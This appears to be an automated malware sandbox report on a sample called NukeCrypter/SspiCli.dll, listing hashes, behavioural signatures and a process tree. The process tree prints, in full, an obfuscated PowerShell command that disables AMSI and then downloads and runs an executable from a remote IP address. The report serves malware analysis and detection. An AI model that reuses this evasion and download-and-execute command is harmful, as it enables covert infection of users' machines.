aefbc83f1cf4facc11486398011bea48b4eae99ff13bebff0981ebc837cd1ecf

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
08/03/2025, 19:14

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General

Target

NukeCrypter/SspiCli.dll
Size

14.0MB
MD5

7697bb66b64ca30f53344f8b2a4dbd2a
SHA1

9fb9053ec18db85b9a55439b048fbbc694a1f9bb
SHA256

49861d9f7c2743bd8e7895ce173356f11474b393d9d8ecabb79b0fecc625e790
SHA512

7785d935729f342304ab87b4ea7d6050dfc76ff5e7a04123273769448a0de2e3d4c5df006136d47d6d3e476e8d23fdbb875484cd81ad29315faabe9ddea4fe79
SSDEEP

196608:y8qw4TxltmlBWDolz/tGTeyMdfkjIxj4/zHd1vqGyvnkYIiHuqZf:WxDolz/tGTeyMMIwHLiGyvnkC

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2728	Powermode.exe
2696	Powermode.exe

Loads dropped DLL 2 IoCs

pid	Process
2676	cmd.exe
2096	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2728	Powermode.exe
2696	Powermode.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2728	Powermode.exe
Token: SeDebugPrivilege	2696	Powermode.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2252 wrote to memory of 2096	2252	rundll32.exe	28
PID 2252 wrote to memory of 2096	2252	rundll32.exe	28
PID 2252 wrote to memory of 2096	2252	rundll32.exe	28
PID 2252 wrote to memory of 2676	2252	rundll32.exe	29
PID 2252 wrote to memory of 2676	2252	rundll32.exe	29
PID 2252 wrote to memory of 2676	2252	rundll32.exe	29
PID 2096 wrote to memory of 2728	2096	cmd.exe	32
PID 2096 wrote to memory of 2728	2096	cmd.exe	32
PID 2096 wrote to memory of 2728	2096	cmd.exe	32
PID 2676 wrote to memory of 2696	2676	cmd.exe	33
PID 2676 wrote to memory of 2696	2676	cmd.exe	33
PID 2676 wrote to memory of 2696	2676	cmd.exe	33

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\NukeCrypter\SspiCli.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2252
- C:\Windows\system32\cmd.exe
  cmd /c C:\ProgramData\my_script.bat
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\ProgramData\Powermode.exe
    Powermode.exe -w hidden -ComMand $m1='A';$m3='i';$m2='ms';$m=$m1+$m2+$m3;$a1='am';$a2='si';$a=$a1+$a2+'InitFailed';$b1='No';$b2='nPu';$b3='bli';$b4='c,St';$b5='at';$b6='ic';$b=$b1+$b2+$b3+$b4+$b5+$b6;$ex=$null;$aaa1=[Ref].Assembly.GetType('System.Management.Automation.'+$m+'Utils').GetField($a,$b);$aaa1.SetValue($ex,$true);$XZLqW6au='http://45.137.201.27:30054/msedge.exe';$output=[System.IO.Path]::Combine($env:APPDATA,'msedge.exe');[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri $XZLqW6au -OutFile $output;Start-Process -FilePath $output;exit
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2728
- C:\Windows\system32\cmd.exe
  cmd /c C:\ProgramData\my_script.bat
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\ProgramData\Powermode.exe
    Powermode.exe -w hidden -ComMand $m1='A';$m3='i';$m2='ms';$m=$m1+$m2+$m3;$a1='am';$a2='si';$a=$a1+$a2+'InitFailed';$b1='No';$b2='nPu';$b3='bli';$b4='c,St';$b5='at';$b6='ic';$b=$b1+$b2+$b3+$b4+$b5+$b6;$ex=$null;$aaa1=[Ref].Assembly.GetType('System.Management.Automation.'+$m+'Utils').GetField($a,$b);$aaa1.SetValue($ex,$true);$XZLqW6au='http://45.137.201.27:30054/msedge.exe';$output=[System.IO.Path]::Combine($env:APPDATA,'msedge.exe');[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri $XZLqW6au -OutFile $output;Start-Process -FilePath $output;exit
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\Powermode.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
C:\ProgramData\my_script.bat

Filesize
729B

MD5
092cabe7fe4773b78ff62f414633572f

SHA1
c9f77f261d45e394086f7bb23eb91b80b8d0b318

SHA256
85d5ee43057001a08fa00e02a4aaf7d84a2d4407f662fa9c22b16b22a9d0738b

SHA512
e5d1b866e5a50243f953b67f191c4185aecdc828e5641cae6f78486f71f337f3efedbcb6051586b886a3c321db6fb17f9fe276cbc9954e0abb41e0813589a022

Download Submit
memory/2728-25-0x000000001B410000-0x000000001B6F2000-memory.dmp

Filesize
2.9MB

Download
memory/2728-26-0x0000000002730000-0x0000000002738000-memory.dmp

Filesize
32KB

Download